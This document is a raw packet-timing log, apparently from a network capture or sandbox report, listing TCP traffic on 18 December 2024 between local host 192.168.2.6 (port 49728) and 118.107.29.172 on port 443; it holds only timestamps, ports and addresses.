Dec 18, 2024 13:35:50.357774019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.357816935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.357842922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.357860088 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.357877970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.364845037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.364870071 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.364912033 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.364943027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.364959955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.364981890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.398839951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.398871899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.398951054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.399004936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.399027109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.399117947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.498577118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.498600960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.498646975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.498684883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.498703957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.498729944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.528234005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.528261900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.528310061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.528366089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.528379917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.528440952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.533250093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.533272982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.533323050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.533349991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.533409119 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.539089918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.539129019 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.539211988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.539251089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.539293051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.544229984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.544250011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.544291973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.544327021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.544346094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.544401884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.550007105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.550025940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.550088882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.550121069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.550151110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.556735039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.556755066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.556801081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.556829929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.556864977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.590615988 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.590648890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.590718985 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.590771914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.590795994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.590837002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.692944050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.692971945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.693017006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.693053007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.693073988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.693089962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.720128059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.720151901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.720192909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.720228910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.720252991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.720269918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.725363970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.725388050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.725421906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.725461960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.725480080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.726174116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.731188059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.731208086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.731267929 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.731292963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.731306076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.731379986 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.736974955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.736996889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.737056017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.737065077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.737111092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.742036104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.742065907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.742121935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.742131948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.742175102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.749645948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.749676943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.749728918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.749741077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.749787092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.783199072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.783227921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.783266068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.783293962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.783305883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.783330917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.883531094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.883575916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.883608103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.883630037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.883642912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.883685112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.912667036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.912707090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.912744999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.912765026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.912775993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.912798882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.917831898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.917857885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.917901039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.917910099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.917937040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.917956114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.923907042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.923938036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.923973083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.923983097 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.924001932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.924016953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.929481983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.929522038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.929552078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.929560900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.929580927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.929589987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.934534073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.934555054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.934597969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.934607029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.934653997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.941605091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.941631079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.941668034 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.941679001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.941709995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.941721916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.975106001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.975136995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.975179911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.975197077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:50.975229979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:50.975245953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.076039076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.076070070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.076122046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.076158047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.076174021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.076208115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.105792046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.105823040 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.105861902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.105894089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.105906963 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.105947971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.110316038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.110347033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.110399008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.110419989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.110440969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.110455990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.115935087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.115961075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.115999937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.116028070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.116048098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.116061926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.121120930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.121144056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.121195078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.121223927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.121254921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.121265888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.127131939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.127160072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.127206087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.127238989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.127264977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.127284050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.133620024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.133641005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.133683920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.133716106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.133730888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.134439945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.170176983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.170198917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.170264959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.170309067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.170322895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.170397997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.268049955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.268085003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.268151999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.268184900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.268217087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.296802998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.296824932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.296895027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.296915054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.296931982 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.296947956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.302301884 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.302321911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.302385092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.302398920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.302428961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.308193922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.308218956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.308264971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.308275938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.308322906 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.313774109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.313793898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.313848972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.313858032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.313870907 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.313888073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.318972111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.318990946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.319032907 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.319041014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.319058895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.319073915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.326174974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.326195002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.326250076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.326262951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.326288939 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.326304913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.362265110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.362287045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.362337112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.362363100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.362386942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.362402916 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.460191011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.460212946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.460292101 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.460323095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.460336924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.460361958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.489442110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.489461899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.489538908 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.489587069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.489650965 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.494882107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.494900942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.494942904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.494951010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.494983912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.494991064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.500067949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.500085115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.500133991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.500154972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.500168085 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.500237942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.505861998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.505878925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.505969048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.505980968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.506019115 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.511532068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.511549950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.511631012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.511642933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.511681080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.518568993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.518591881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.518632889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.518641949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.518685102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.554863930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.554897070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.554938078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.554956913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.554986954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.555002928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.652415991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.652441978 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.652487040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.652519941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.652560949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.652580976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.681408882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.681446075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.681473970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.681482077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.681536913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.686623096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.686650038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.686691046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.686697006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.686713934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.686737061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.692619085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.692670107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.692694902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.692701101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.692719936 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.692735910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.698128939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.698149920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.698235989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.698244095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.698281050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.703362942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.703385115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.703433990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.703440905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.703480959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.710244894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.710267067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.710325956 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.710340977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.710371971 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.710387945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.747131109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.747188091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.747219086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.747247934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.747277975 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.747297049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.844466925 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.844495058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.844544888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.844571114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.844595909 CET	49728	443	192.168.2.6	118.107.29.172
